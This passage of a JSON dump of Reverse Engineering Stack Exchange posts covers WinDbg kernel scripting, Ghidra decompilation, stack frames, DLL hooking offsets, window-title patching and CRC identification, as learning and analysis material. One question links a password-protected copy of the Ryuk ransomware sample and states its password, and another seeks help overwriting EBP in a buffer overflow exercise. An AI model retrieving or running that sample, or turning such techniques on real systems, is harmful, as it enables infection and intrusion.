        "Answer": "<p>As Commented Windbg Just Reads A Structure and Formats it </p>\n\n<p>you can simply use the #FIELD_OFFSET macro (wdm.h)</p>\n\n<pre><code>kd&gt; ?? #FIELD_OFFSET( ntkrpamp!_DRIVER_OBJECT , MajorFunction[0])\nlong 0n56\n\nkd&gt; ?? #FIELD_OFFSET( ntkrpamp!_DRIVER_OBJECT , MajorFunction[0xe])  &lt;&lt;&lt;&lt;&lt;\n0xe == IRP_MJ_DEVICE_CONTROL\nlong 0n112\n\nkd&gt; dd 0x85ded260+0n112 l1\n85ded2d0  8df7d116\n\nkd&gt; u 8df7d116\nBeep!BeepDeviceControl:\n8df7d116 8bff            mov     edi,edi\n8df7d118 55              push    ebp\n8df7d119 8bec            mov     ebp,esp\n8df7d11b 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]\n8df7d11e 8b4160          mov     eax,dword ptr [ecx+60h]\n8df7d121 8b500c          mov     edx,dword ptr [eax+0Ch]\n8df7d124 81ea00000100    sub     edx,10000h\n8df7d12a 56              push    esi\n</code></pre>\n\n<p>Windbg gets all the driverObjects / or any object for that matter from the RootObjectDirectory   </p>\n\n<p>use ReadDebuggerData() Method in IDebugDataSpaces Interface to get<br>\n<strong>nt!obpRootDirectoryObject</strong><br>\nthen cast the Address properly to their types and dereference the members of Structure</p>\n\n<p>a small javascript that gets the First Level Driver names is as below<br>\nPlease note this is a hack using hardcoded 36th HashBucket For Driver DirectoryObject<br>\nthis can bomb anytime one needs to get The TypeIndex and Compare With _OBJECT_TYPE\nfor robustness<br>\nalso note TypeIndex in latest  windows releases undergo a xorring routine and Do not point directly to the UnderLying TypeNames   </p>\n\n<p>it is Xorred with nt!ObHeaderCookie and another Byte From Object Header Address   </p>\n\n<p>an emulated demo for the disassembly of that routine below </p>\n\n<pre><code>0: kd&gt; r $t0 = 0xffffe00e255187a0\n0: kd&gt; r $t1 = @$t0-30\n0: kd&gt; r $t2 = @$t0-18\n0: kd&gt; r $t3 = by(@$t0-18)\n0: kd&gt; r $t4 = @$t1&gt;&gt;8 &amp;0xff\n0: kd&gt; r $t5 = @$t4 ^ @$t3 ^ by(nt!ObHeaderCookie)\n0: kd&gt; ? @$t0;? @$t1;? @$t2;? @$t3;?@$t4;? @$t5\n\nEvaluate expression: -35123616446560 = ffffe00e`255187a0\nEvaluate expression: -35123616446608 = ffffe00e`25518770\nEvaluate expression: -35123616446584 = ffffe00e`25518788\nEvaluate expression: 246 = 00000000`000000f6\nEvaluate expression: 135 = 00000000`00000087\nEvaluate expression: 3 = 00000000`00000003\n\n0: kd&gt; dt nt!_OBJECT_TYPE poi(nt!ObTypeIndexTable + 3 *8) \n\n   +0x000 TypeList         : _LIST_ENTRY [ 0xffff920c`896b9900 - 0xffff920c`896b9900 ]\n   +0x010 Name             : _UNICODE_STRING \"Directory\"  &lt;&lt;&lt;&lt;\nxxxxxxxxxxxxxxxxxxxxxxxx\n\n\n0: kd&gt; uf nt!ObGetObjectType\nnt!ObGetObjectType:\nfffff805`1abcbff0 488d41d0        lea     rax,[rcx-30h]\nfffff805`1abcbff4 0fb649e8        movzx   ecx,byte ptr [rcx-18h]\nfffff805`1abcbff8 48c1e808        shr     rax,8\nfffff805`1abcbffc 0fb6c0          movzx   eax,al\nfffff805`1abcbfff 4833c1          xor     rax,rcx\nfffff805`1abcc002 0fb60dcf75f8ff  movzx   ecx,byte ptr [nt!ObHeaderCookie (fffff805`1ab535d8)]\nfffff805`1abcc009 4833c1          xor     rax,rcx\nfffff805`1abcc00c 488d0d4d7cf8ff  lea     rcx,[nt!ObTypeIndexTable (fffff805`1ab53c60)]\nfffff805`1abcc013 488b04c1        mov     rax,qword ptr [rcx+rax*8]\nfffff805`1abcc017 c3              ret\n</code></pre>\n\n<p>Source Code For Javascript</p>\n\n<pre><code>/// &lt;reference path=\"JSProvider.d.ts\" /&gt;\n\nfunction log(x) {\n    host.diagnostics.debugLog(x + \"\\n\")\n}\n\nfunction getobroot() {\n    var obroot = host.getModuleSymbol(\"ntkrnlmp\", \"ObpRootDirectoryObject\", \"_OBJECT_DIRECTORY *\");\n    var ObHeadFields = host.getModuleType(\"nt\", \"_OBJECT_HEADER\").fields\n    var drvdirheadaddr = obroot.HashBuckets[36].ChainLink.Object.address\n    var drvdirobj = host.createPointerObject(drvdirheadaddr, \"nt\", \"_OBJECT_DIRECTORY *\")\n    //looping only Hasbuckets \n    for (i = 0; i &lt; 37; i++) {\n        var drvobj1 = drvdirobj.HashBuckets[i].Object.address\n        //loop all the 37 HashBucket's Objects and Chainlinks-&gt;Objects for drivers x,y,z,...\n        var drvobj = host.createPointerObject(drvobj1, \"nt\", \"_DRIVER_OBJECT *\")\n        try {\n            var dname = host.memory.readWideString(drvobj.DriverName.Buffer.address)\n        } catch (error) {\n            log(error)\n        }\n        log(dname)\n    }\n}\n</code></pre>\n"
    },
    {
        "Id": "22253",
        "CreationDate": "2019-10-05T16:00:03.290",
        "Body": "<p>How do I calculate the location of the string in this sample located at offset <code>0x1CAD8</code>?</p>\n\n<p>The instruction at <code>0x140001A97</code> in the sample is:</p>\n\n<pre><code>0x140001A97   F2 0F1005 39C60100   movsd xmm0, qword [rip + str..exe]\n</code></pre>\n\n<p>The opcode has <code>0x39C60100</code> which is <code>0x1C639</code>. If I add that to <code>rip</code>, I don't land on the address of the string:</p>\n\n<pre><code>0x140001A97 -&gt; offset = 0xE97\n</code></pre>\n\n<pre><code>0xE97 + 0x8 + 0x1C639 = 0x1D4D8\n</code></pre>\n\n<p>The string's offset is <code>0x1CAD8</code> not <code>0x1D4D8</code></p>\n\n<p>What am I missing?</p>\n\n<p>The sample is Ryuk:\n<code>18faf22d7b96bfdb5fd806d4fe6fd9124b665b571d89cb53975bc3e23dd75ff1</code>\nIf you need a copy of the sample, a base64 encoded passworded zip archive with the sample is located here:\n<a href=\"https://pastebin.com/aKskMXY7\" rel=\"nofollow noreferrer\">https://pastebin.com/aKskMXY7</a></p>\n\n<p>The password for that zip file is <code>reseinfected</code>. If you need something to decode base64 quickly, use this cyberchef recipe:</p>\n\n<pre><code>From_Base64('A-Za-z0-9+/=',true)\n</code></pre>\n",
        "Title": "How to Calculate ds Pointer",
        "Tags": "|disassembly|assembly|malware|",
        "Answer": "<p><code>(14001E0D8-140001A97)-8 = 1C639, VA 14001E0D8 is offset 0001CAD8</code></p>\n\n<p>This is the answer. Thanks to an individual on one of the lists I'm on.</p>\n"
    },
    {
        "Id": "22274",
        "CreationDate": "2019-10-09T00:53:03.243",
        "Body": "<p>Some portion of code I am analyzing gets decompiled as below in ghidra:</p>\n\n<pre><code>if (((*puVar8 == CONCAT22(DAT_0040a37a,DAT_0040a378)) &amp;&amp;\n     (*(uint *)((int)puVar9 + 6) ==\n     (CONCAT22(DAT_0040a37e,DAT_0040a37c) | (int)DAT_0040a37a &gt;&gt; 0xf))) &amp;&amp;\n     ((*(short *)((int)puVar9 + 10) == 0x20 || (*(short *)((int)puVar9 + 10) == 0)))) {\n    local_2c8.PrivilegeCount = local_2c8.PrivilegeCount | 4;\n  }\n</code></pre>\n\n<p>I want to understand what this <code>CONCAT22</code> is. This is found at multiple places in the same function.</p>\n",
        "Title": "concat22 in ghidra decompiler",
        "Tags": "|decompilation|ghidra|",
        "Answer": "<p>I wanted to comment but it grew up so answering </p>\n\n<p>CONCAT is Concatenation  </p>\n\n<p>22 is a suffix that denotes concatenate two bytes with two bytes</p>\n\n<p>it takes two bytes from first location two bytes from second location and produces a 4 byte result  </p>\n\n<p>here it is probably making a wide character string </p>\n\n<p>you can see the difference of two bytes in the address too xxa37e,yya37c etc</p>\n\n<p>as commented click on the address or macro to go to the disassembly and look at the construct </p>\n\n<p>here is a big concat</p>\n\n<pre><code>return CONCAT2325(extraout_var,CONCAT124(1,CONCAT816(local_48,CONCAT88(uVar3,local_58)))) &amp;\n       0xffffffffffffffff;\n\nconcat           88 = 8+8  say something RDX+rcx   \nnext is          816 which means 8 + 16      &lt;&lt; 16 is from earlier concat   \nnext is          124 which means 1 + 24      &lt;&lt; 24 is from earlier concat   \nnext is          2325 which means 23 + 25     &lt;&lt; 25 is from earlier concat   \n</code></pre>\n\n<p>and the relevant disassembly for this decompilation</p>\n\n<pre><code>00461277 48 89 84        MOV        qword ptr [Stack[0x18] + RSP],RAX\n         24 80 00 \n         00 00\n00461284 48 89 84        MOV        qword ptr [Stack[0x20] + RSP],RAX\n         24 88 00 \n         00 00\n0046128c c6 84 24        MOV        byte ptr [Stack[0x28] + RSP],0x1\n         90 00 00 \n         00 01\n00461297 0f 11 84        MOVUPS     xmmword ptr [Stack[0x30] + RSP],XMM0\n         24 98 00 \n         00 00\n004612a8 c3              RET\n                     ********** bufio.(*Reader).ReadLine Exit ********** \n</code></pre>\n"
    },
    {
        "Id": "22276",
        "CreationDate": "2019-10-09T08:31:48.353",
        "Body": "<p>I'm trying to find the line number of the <code>0f05 syscall</code> interrupt with no success.</p>\n\n<p>I searched everywhere and couldn't find any way of doing that, it seems like this information is hard coded in the CPU (which make sense).</p>\n\n<p>My goal is to follow the debugger to the kernel code but currently I don't know which function I need to put a break point on.</p>\n\n<p>When I do \"step into\" on the <code>syscall</code> line it simply move to the next instruction like it is <code>mov</code> or something</p>\n\n<p>Thanks</p>\n",
        "Title": "How to find each interrupt's line in the Interrupt Descriptor Table",
        "Tags": "|windbg|kernel-mode|syscall|",
        "Answer": "<p>The AMD64 <a href=\"https://www.felixcloutier.com/x86/syscall\" rel=\"nofollow noreferrer\"><code>syscall</code> instruction</a> is not an interrupt (neither software nor hardware). The destination of it is stored not in IDT but in a Machine-specific register (MSR) called <code>IA32_LSTAR</code>. </p>\n"
    },
    {
        "Id": "22279",
        "CreationDate": "2019-10-10T04:37:27.347",
        "Body": "<p>I'm learning on how to cause a buffer overflow. My victim program has to read input from a file encoded with UTF-16, 2-bytes by 2-bytes, and I want to overrun the EBP with an address like 0x0012F468.\nThe 0xF468 part is read successfully but the program just ignores the 0x0012.</p>\n\n<p>As I researched, I found out that not only 0x0012 but also the characters from 0x0000 to 0x001F, which are \"control characters\" are ignored as well.</p>\n\n<p>My question is: How can I inject those characters as a input from a text file to my victim program?</p>\n",
        "Title": "How to make a program to read Unicode control characters",
        "Tags": "|x86|buffer-overflow|",
        "Answer": "<p>Unfortunately I'm still new around here and don't have enough reputation yet to comment so this will need to be an answer, hopefully it qualifies.</p>\n\n<p>How are you reading and writing the file? Did you confirm that the file has the control characters embedded properly in a hex editor? You said earlier that your victim reads input from an HTML file, I assume by that you mean it actually reads the HTML file itself? Without knowing exactly how you're reading / writing it I can't be sure, but my guess would be that you're using a stream that filters out control characters appropriately. Something like the code below should work fine for your purposes.</p>\n\n<pre><code>void WriteTarget(const char* FilePath, uintptr_t TargetAddr)\n{\n    std::ofstream ofs(FilePath, std::ios::trunc | std::ios::binary);\n    ofs.write(reinterpret_cast&lt;const char*&gt;(&amp;TargetAddr), sizeof(uintptr_t));\n    ofs.close();\n}\n\nvoid ReadTarget(const char* FilePath)\n{\n    std::ifstream ifs(FilePath, std::ios::in | std::ios::binary);\n\n    ifs.seekg(0, std::ios::end);\n    auto file_len = ifs.tellg();\n    ifs.seekg(0, std::ios::beg);\n\n    uint8_t* file_data = new uint8_t[file_len];\n    memset(file_data, 0, file_len);\n\n    ifs.read(reinterpret_cast&lt;char*&gt;(file_data), file_len);\n    ifs.close();\n\n    std::cout &lt;&lt; \"File Contents\" &lt;&lt; std::endl;\n\n    for (auto i = 0; i &lt; file_len; ++i)\n        std::cout &lt;&lt; \"0x\" &lt;&lt; std::hex &lt;&lt; std::uppercase &lt;&lt; static_cast&lt;uint32_t&gt;(file_data[i]) &lt;&lt; std::endl;\n\n    delete[] file_data;\n}\n</code></pre>\n"
    },
    {
        "Id": "22280",
        "CreationDate": "2019-10-10T05:48:12.833",
        "Body": "<p>I've started learning the Reverse Engineering and when I read the Stack Operations and function invocation, there are an issue that I'm confused.\n-What is the address of ESP after &quot;pop ebp&quot; and &quot;retn&quot; instruction??</p>\n<h2>C program</h2>\n<pre><code>int __cdecl addme(short a, short b)\n{\n     return a+b;\n}\n</code></pre>\n<h2>Assembly program</h2>\n<pre><code>01: push ebp\n02: mov ebp , esp\n03:...\n04:movsx eax ,word ptr [ebp+8]\n05:movsx ecx ,word ptr [ebp+0Ch]\n06:add eax ,ecx\n07:...\n08:mov esp , ebp\n09:pop ebp\n10:retn\n</code></pre>\n<p>As I though , esp is set to ebp in step 08 so the ESP address is right after the the first address comes inside the stack.But the step 09 makes it wrong. Help me understand this.</p>\n",
        "Title": "Where is the ESP after call instruction?",
        "Tags": "|disassembly|x86|",
        "Answer": "<p>To further expand on perrors answer, you're looking at a function that preserves the stack frame, which is a nice little trick to simplify walking backwards through the call stack. When you initially <code>push EBP</code> in the prologue, it subtracts pointer size (which is of course <code>0x4</code> in x86) before writing the old <code>EBP</code> to the stack, as seen below in equivalent code.</p>\n\n<pre><code>SUB ESP, 0x4 ; Result from PUSH  \nMOV [ESP], EBP ; Save old EBP  \nMOV EBP, ESP ; Set new EBP  \n</code></pre>\n\n<p>Now once it reaches the epilogue and restores the stack pointer (<code>ESP</code>) from the frame pointer (<code>EBP</code>) it's still 4 bytes below the original stack when entering the function. What's at the current stack pointer? It holds the previous frame pointer from before invoking the current function. By popping <code>EBP</code> you are both restoring the frame pointer to what it was and fixing the stack at the same time, as shown below.</p>\n\n<pre><code>MOV ESP, EBP ; Restore ESP from prologue  \nMOV EBP, [ESP] ; Restore saved EBP  \nADD ESP, 0x4 ; Result from POP  \n</code></pre>\n\n<p>The return following this can be interpreted as a <code>POP EIP</code> instruction, as shown below.</p>\n\n<pre><code>MOV EIP, [ESP] ; Redirect execution to return address  \nADD ESP, 0x4 ; Result from pop  \n</code></pre>\n\n<p>I should also add that CALL can be simplified as a <code>push</code>/<code>jump</code>, as shown below.  </p>\n\n<pre><code>SUB ESP, 0x4 ; Result from PUSH  \nMOV [ESP], ReturnAddress ; Save next instruction as return address  \nJMP CallAddress ; Redirect execution to call address  \n</code></pre>\n\n<p>As you can probably see, this allows you to simply work backwards to get both the frame pointer and return address from previous function calls that led to the current function. Hopefully that explains both the purpose and logic behind the frame pointer preservation your question is based on.  </p>\n\n<p>Note: In terms of the post by perror, I also wanted to point out a couple things. First the constant <code>0x4</code> should be <code>sizeof(uintptr_t)</code>. I know your code is x86 so he's not wrong, it's just good to know. Second is that push can be thought of as subtracting the stack before setting the value, while pop can be thought of as the exact opposite, getting the value first before adding the stack.</p>\n"
    },
    {
        "Id": "22293",
        "CreationDate": "2019-10-11T09:54:38.977",
        "Body": "<p>I am trying to make a client-sided anticheat which would work similar to BattlEye or GameGuard. In order to do this, I want to create a DLL which would do the cheat verification, which then I would inject to the executable of the game.</p>\n\n<p>What language should I use for the DLL? I was planning to use C#, but I've noticed that people prefer C++ for these kinds of projects. Why that? What's the downsides of using C# for a DLL?</p>\n",
        "Title": "Writing a DLL in C# vs C++?",
        "Tags": "|c++|c#|dll-injection|",
        "Answer": "<p>The downsides really lie in C# being a managed language, you lose a lot of control. For example all of your code will get compiled into RWE memory at runtime which complicates self validation. The compiled code itself also relies strongly on the CLR module which provides even further opportunities to reroute your execution. Further, because of its high level, it's trivial to decompile, making RE much simpler. Finally, as an AC, you're going to eventually need more low level code such as custom assembly blocks for manual syscalls or hooking a custom prototype. None of these downsides are completely 'unfixable' (you can use a worker native module for what's needed, virtualize important code blocks, etc.) but it makes your job that much harder. In the end it depends on what your goals are, but for most purposes you're far better off native for this type of job.</p>\n"
    },
    {
        "Id": "22309",
        "CreationDate": "2019-10-14T01:06:54.470",
        "Body": "<p>I noticed that <a href=\"https://www.hex-rays.com/bugbounty.shtml\" rel=\"nofollow noreferrer\">Hex-Ray have been keeping reward to people who find \"security vulnerabilities\" of IDA-Pro</a>.:</p>\n\n<p>So here is my question, how come a decompiler can have \"security vulnerabilities\"? And more importantly, is there any real-world example to attack decompilers or disassemblers? Or can I perform certain kind of \"malware evading attacks\" by abusing the decompiler bugs?</p>\n",
        "Title": "Decompiler attack",
        "Tags": "|ida|decompilation|exploit|vulnerability-analysis|",
        "Answer": "<p>I guess that you won't be happy if, while analyzing a malware, a certain pattern in the executable binary makes Hex-rays connect to an evil server somewhere in the World with your account and download a payload on your system...</p>\n\n<p>And, yes, there have been some examples where security analysis software have been pinpointed with security threats. The last I have in mind are on Ghidra:</p>\n\n<ul>\n<li><a href=\"https://www.cvedetails.com/cve/CVE-2019-16941/\" rel=\"nofollow noreferrer\">CVE-2019-16941</a></li>\n<li><a href=\"https://www.cvedetails.com/cve/CVE-2019-13623/\" rel=\"nofollow noreferrer\">CVE-2019-13623</a></li>\n</ul>\n\n<p>See also <a href=\"https://threatpost.com/bug-in-nsas-ghidra/148787/\" rel=\"nofollow noreferrer\">here</a>.</p>\n"
    },
    {
        "Id": "22320",
        "CreationDate": "2019-10-16T18:06:19.903",
        "Body": "<p>I am trying to reverse and debug a program but it exists after certain point, tried setting breakpoint on any inter module call that starts with exit or terminate, now here's the weird part :</p>\n\n<p>it does break on exitprocess, but before that the actual executable gets removed from explorer's taskbar and from the bottom right side in the taskbar (which shows small program icons next to clock) but the actual process is still in the task manager</p>\n\n<p>so how is it exiting that the actual process is not terminated but the taskbar icons (both the main icon and the small one next to clock) get terminated? i want to break on that one before the exit process, because trying to trace back from the exit process one leads me to entrypoint (_start)! (tried tracing back from it with the stack return addresses)</p>\n",
        "Title": "Which APIs are responsible for terminating process icons in Taskbar?",
        "Tags": "|windows|debugging|ollydbg|x86|",
        "Answer": "<p>the process may run a long after the icons vanish from taskbar tearing down<br>\ntry closing a browser like firefox  its icon will vanish long before one of the many instances of firefox gets out of task manager.</p>\n\n<p>you may need to look for WM_DESTROY  WM_GETICON , WM_SHOWWINDOW messages </p>\n\n<p>use some spy utility like spy++ and corelate it with procmon  </p>\n\n<p>below is a log of spy++ closing firefox (WM_MOUSE and WM_NONCLIENT WM_NCXX.. excluded)\nand clicked the x button  on right corner </p>\n\n<pre><code>&lt;000001&gt; 003401E6 S WM_WINDOWPOSCHANGING lpwp:0031F198\n&lt;000002&gt; 003401E6 R WM_WINDOWPOSCHANGING\n&lt;000003&gt; 003401E6 S WM_ERASEBKGND hdc:5E010B3E\n&lt;000004&gt; 003401E6 R WM_ERASEBKGND fErased:True\n&lt;000005&gt; 003401E6 S WM_WINDOWPOSCHANGED lpwp:0031F198\n&lt;000006&gt; 003401E6 R WM_WINDOWPOSCHANGED\n&lt;000007&gt; 003401E6 S WM_ACTIVATEAPP fActive:True dwThreadID:00000000\n&lt;000008&gt; 003401E6 R WM_ACTIVATEAPP\n&lt;000009&gt; 003401E6 S WM_ACTIVATE fActive:WA_CLICKACTIVE fMinimized:False hwndPrevious:(null)\n&lt;000010&gt; 003401E6 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F\n&lt;000011&gt; 003401E6 S WM_IME_NOTIFY dwCommand:IMN_OPENSTATUSWINDOW dwCommand:00000002 dwData:00000000\n&lt;000012&gt; 003401E6 R WM_IME_NOTIFY\n&lt;000013&gt; 003401E6 R WM_IME_SETCONTEXT\n&lt;000014&gt; 003401E6 S WM_SETFOCUS hwndLoseFocus:(null)\n&lt;000015&gt; 003401E6 S WM_WINDOWPOSCHANGING lpwp:0031E8F4\n&lt;000016&gt; 003401E6 R WM_WINDOWPOSCHANGING\n&lt;000017&gt; 003401E6 S WM_IME_SETCONTEXT fSet:0 iShow:C000000F\n&lt;000018&gt; 003401E6 R WM_IME_SETCONTEXT\n&lt;000019&gt; 003401E6 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F\n&lt;000020&gt; 003401E6 R WM_IME_SETCONTEXT\n&lt;000021&gt; 003401E6 R WM_SETFOCUS\n&lt;000022&gt; 003401E6 R WM_ACTIVATE\n&lt;000023&gt; 003401E6 S WM_PAINT hdc:00000000\n&lt;000024&gt; 003401E6 R WM_PAINT\n&lt;000025&gt; 003401E6 S WM_IME_SETCONTEXT fSet:0 iShow:C000000F\n&lt;000026&gt; 003401E6 R WM_IME_SETCONTEXT\n&lt;000027&gt; 003401E6 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F\n&lt;000028&gt; 003401E6 R WM_IME_SETCONTEXT\n&lt;000029&gt; 003401E6 S WM_GETICON nType:ICON_SMALL2\n&lt;000030&gt; 003401E6 R WM_GETICON hicon:00000000\n&lt;000031&gt; 003401E6 S WM_GETICON nType:ICON_SMALL\n&lt;000032&gt; 003401E6 R WM_GETICON hicon:00000000\n&lt;000033&gt; 003401E6 S WM_GETICON nType:ICON_BIG\n&lt;000034&gt; 003401E6 R WM_GETICON hicon:00000000\n&lt;000035&gt; 003401E6 S WM_CAPTURECHANGED hwndNewCapture:00000000\n&lt;000036&gt; 003401E6 R WM_CAPTURECHANGED\n&lt;000037&gt; 003401E6 S WM_IME_SETCONTEXT fSet:0 iShow:C000000F\n&lt;000038&gt; 003401E6 R WM_IME_SETCONTEXT\n&lt;000039&gt; 003401E6 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F\n&lt;000040&gt; 003401E6 R WM_IME_SETCONTEXT\n&lt;000041&gt; 003401E6 S WM_CAPTURECHANGED hwndNewCapture:00000000\n&lt;000042&gt; 003401E6 R WM_CAPTURECHANGED\n&lt;000043&gt; 003401E6 S WM_IME_SETCONTEXT fSet:0 iShow:C000000F\n&lt;000044&gt; 003401E6 R WM_IME_SETCONTEXT\n&lt;000045&gt; 003401E6 S WM_IME_SETCONTEXT fSet:1 iShow:C000000F\n&lt;000046&gt; 003401E6 R WM_IME_SETCONTEXT\n&lt;000047&gt; 003401E6 S WM_SHOWWINDOW fShow:False fuStatus:0 (ShowWindow was called)\n&lt;000048&gt; 003401E6 R WM_SHOWWINDOW\n&lt;000049&gt; 003401E6 S WM_WINDOWPOSCHANGING lpwp:0031F1B4\n&lt;000050&gt; 003401E6 R WM_WINDOWPOSCHANGING\n&lt;000051&gt; 003401E6 S WM_WINDOWPOSCHANGED lpwp:0031F1B4\n&lt;000052&gt; 003401E6 R WM_WINDOWPOSCHANGED\n&lt;000053&gt; 003401E6 S WM_SIZE fwSizeType:SIZE_MAXIMIZED nWidth:1280 nHeight:778\n&lt;000054&gt; 003401E6 R WM_SIZE\n&lt;000055&gt; 003401E6 S WM_MOVE xPos:0 yPos:65528\n&lt;000056&gt; 003401E6 R WM_MOVE\n&lt;000057&gt; 003401E6 S WM_ACTIVATE fActive:WA_INACTIVE fMinimized:False hwndPrevious:(null)\n&lt;000058&gt; 003401E6 R WM_ACTIVATE\n&lt;000059&gt; 003401E6 S WM_ACTIVATEAPP fActive:False dwThreadID:00000420\n&lt;000060&gt; 003401E6 R WM_ACTIVATEAPP\n&lt;000061&gt; 003401E6 S WM_KILLFOCUS hwndGetFocus:(null)\n&lt;000062&gt; 003401E6 R WM_KILLFOCUS\n&lt;000063&gt; 003401E6 S WM_IME_SETCONTEXT fSet:0 iShow:C000000F\n&lt;000064&gt; 003401E6 S WM_IME_NOTIFY dwCommand:IMN_CLOSESTATUSWINDOW dwCommand:00000001 dwData:00000000\n&lt;000065&gt; 003401E6 R WM_IME_NOTIFY\n&lt;000066&gt; 003401E6 R WM_IME_SETCONTEXT\n&lt;000067&gt; 003401E6 S message:0x0090 [Unknown] wParam:00000000 lParam:00000000\n&lt;000068&gt; 003401E6 R message:0x0090 [Unknown] lResult:00000000\n&lt;000069&gt; 003401E6 S WM_DESTROY\n&lt;000070&gt; 003401E6 R WM_DESTROY\n</code></pre>\n"
    },
    {
        "Id": "22321",
        "CreationDate": "2019-10-16T20:44:06.073",
        "Body": "<p>I have some code that hooks a function via dll injection. The code works fine but i'm a little perplexed as to how it works. The code needs to calculate the offset from the function that i'm going to hook to the hooked function. It works perfectly but i've noticed that sometimes the offset is positive and sometimes it's negative (e.g. m_hkFuncAddr &lt; m_hkAddr). Sometimes my dll is loaded before the address i'm trying to hook and sometimes it is after (I check using a utility called vmmap if that means anything). Regardless, it will work. But if I reverse the two, it's a guaranteed crash, regardless of where my dll is placed. </p>\n\n<p><code>dwhkRelative = (((DWORD)m_hkFuncAddr - (DWORD)m_hkAddr) - 5);</code></p>\n\n<p>Why is it that when I reverse the two it crashes, but when it's a negative offset, it works fine? Thanks in advance!</p>\n",
        "Title": "Function Hooking via Dll Injection Negative Offset",
        "Tags": "|function-hooking|dll-injection|virtual-memory|",
        "Answer": "<p>The <code>jmp</code> instruction with opcode 0xE9 uses a 32bit signed integer as its parameter.</p>\n\n<p>This parameter is added to the address of the instruction <strong>after</strong> the <code>jmp</code> instruction to calculate the final address. It is allowed to be negative which is the case when your hook address is less than your hooked function's address.</p>\n\n<p>As to why swapping them around crashes - it calculates the wrong number. It would calculate <code>What do I have to add to the hook address to get to the hooked function's address</code> which is the other way round.</p>\n"
    },
    {
        "Id": "22327",
        "CreationDate": "2019-10-17T05:26:06.527",
        "Body": "<p>So I'm trying to patch a binary (its a GUI app), and i want to patch the title of it as well when I'm patching it, and by title i mean the text that appears on top of the app that usually is the application name</p>\n\n<p>How can i achieve this? should i break on a certain API and modify it or...? (I'm using x32dbg but can use Olly as well), i know there might be many ways, but what is the most common way? i just want some lead to go after</p>\n\n<p>sorry if this is a newbee question, tried googling and came up with some windows APIs but don't know how to patch it to change the title, tried changing some of them but didnt work </p>\n",
        "Title": "How to change the title of a windows GUI app when patching? (the title that usually writes the application name)",
        "Tags": "|debugging|ollydbg|patching|crackme|",
        "Answer": "<p>There Are many possible means to change Window caption   </p>\n\n<p>easiest of them being using a spy app like winspy and use the inbuilt functionality to change     </p>\n\n<p>take a look at this answer i wrote a few days back  which shows how a title is change </p>\n\n<p><a href=\"https://reverseengineering.stackexchange.com/questions/22264/can-gui-elements-of-a-running-program-be-found-located-in-memory/22272#22272\">change window title</a></p>\n\n<p>or if you prefer you can code a simple FindWindow() , SetWindowText() that can do the job</p>\n\n<p>you can also break on wnd proc in ollydbg / x32dbg and code a detour to \nuse SetWindowText()</p>\n\n<p>using ollydbg v2  (32 bit win 7 )<br>\nopen calc.exe and hit f9 to run and f12 to break<br>\nhit alt+w to open List Of Windows<br>\nand locate the Window Handle of CalcFrame   As below</p>\n\n<pre><code>List of windows, item 3\n  Handle = 000206C0  &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n  Text = Calculator  &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;\n  Parent = Topmost\n  WinProc =\n  ID/menu = 0136046D (menu)\n  Type = UNICODE\n  Style = 14CA0000 WS_OVERLAPPED|WS_MINIMIZEBOX|WS_CAPTION|WS_SYSMENU|WS_VISIBLE|WS_CLIPSIBLINGS\n  ExtStyle = 00000100 WS_EX_WINDOWEDGE\n  Thread = Main\n  ClsProc = 00361EDE WndProc\n  ClsName = CalcFrame\n</code></pre>\n\n<p>now go to some blank space </p>\n\n<p>type in a new title and note the address where you typed the title </p>\n\n<p>code in blank space </p>\n\n<p>push offset the address you noted<br>\npush window handle as found  above  {this is variable use what you find not what i type in demo}\ncall SetWindowTextA</p>\n\n<p>make a note of existing  eip</p>\n\n<p>change the eip to the newly patched in code\nstep three times \nand change back to the noted eip </p>\n\n<p><a href=\"https://i.stack.imgur.com/0rAK8.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0rAK8.gif\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "22331",
        "CreationDate": "2019-10-17T12:58:15.410",
        "Body": "<p>I am doing reverse engineering on some network protocol. It is client to server communication and I am pretty stuck with identifying checksum (or CRC) algorithm used in packet structure.</p>\n\n<p>I tried reveng util but without any result (so maybe it is not CRC). Also I lookout on standard CRCs algorithm online but nothing fits my samples.</p>\n\n<p>Here are some examples of packets:</p>\n\n<p>client to server:</p>\n\n<pre><code>66  01 00 01 fa 00 00 00  b7 33  00 00 fc 00 00 00  99 \n66  01 00 03 fa 00 00 00  c7 d9  00 00 fd 00 00 00  99\n66  01 00 03 fa 00 00 80  d1 c2  08  99\n66  01 00 03 fa 00 00 71  46 42  00 00 05 00 00 00 ab 55 52 5c 5b 50 51 55 55 55 54 73  99\n66  01 00 03 fa 00 00 04  45 a2  00 00 6b 00 00 00 ab 55 40 5c 49 3e 47 1d 55 b4 55 55 55 55 55 55 55 55 55 55 55 55 55 55 45 bb  99 \n</code></pre>\n\n<p>server to client:</p>\n\n<pre><code>66  01 fa 00 00 01 00 00  91 57  0a  99\n66  01 fa 00 00 03 00 00  8a bb  0a  99\n66  01 fa 00 00 01 00 96  9d 37  00 00 00 00 00 00 ab 55 55 55 ab  99\n66  01 fa 00 00 03 00 7f  61 68  00 00 44 00 00 00 ab 55 51 54 56 11 54 55 1e  99 \n66  01 fa 00 00 03 00 7a  70 dd  08 99\n</code></pre>\n\n<p>I think checksum is 16-bit number begin on 9th byte. Also, I believe that the first and last bytes are not significant to count the checksum algorithm (start and stop constat).</p>\n\n<p>I can provide more samples if it helps.</p>\n\n<p>I will be grateful for any help or advice from you.</p>\n",
        "Title": "Determine checksum / CRC algorithm",
        "Tags": "|protocol|crc|networking|packet|",
        "Answer": "<p>Finally, I figure it out by myself.</p>\n\n<p>All bytes, including start and stop byte, must be passed to CRC algorithm. Important part is CRC bytes must be substituted with zero.</p>\n\n<p>For example</p>\n\n<pre><code>66 01 fa 00 00 01 00 00 00 00 0a 99\n</code></pre>\n\n<p>get result <strong>0x9157</strong> in standard <strong>CRC-16/TELEDISK</strong> algorithm.</p>\n\n<p>I found very useful this online CRC calculator: <a href=\"https://crccalc.com/\" rel=\"nofollow noreferrer\">https://crccalc.com/</a></p>\n"
    },
    {
        "Id": "22334",
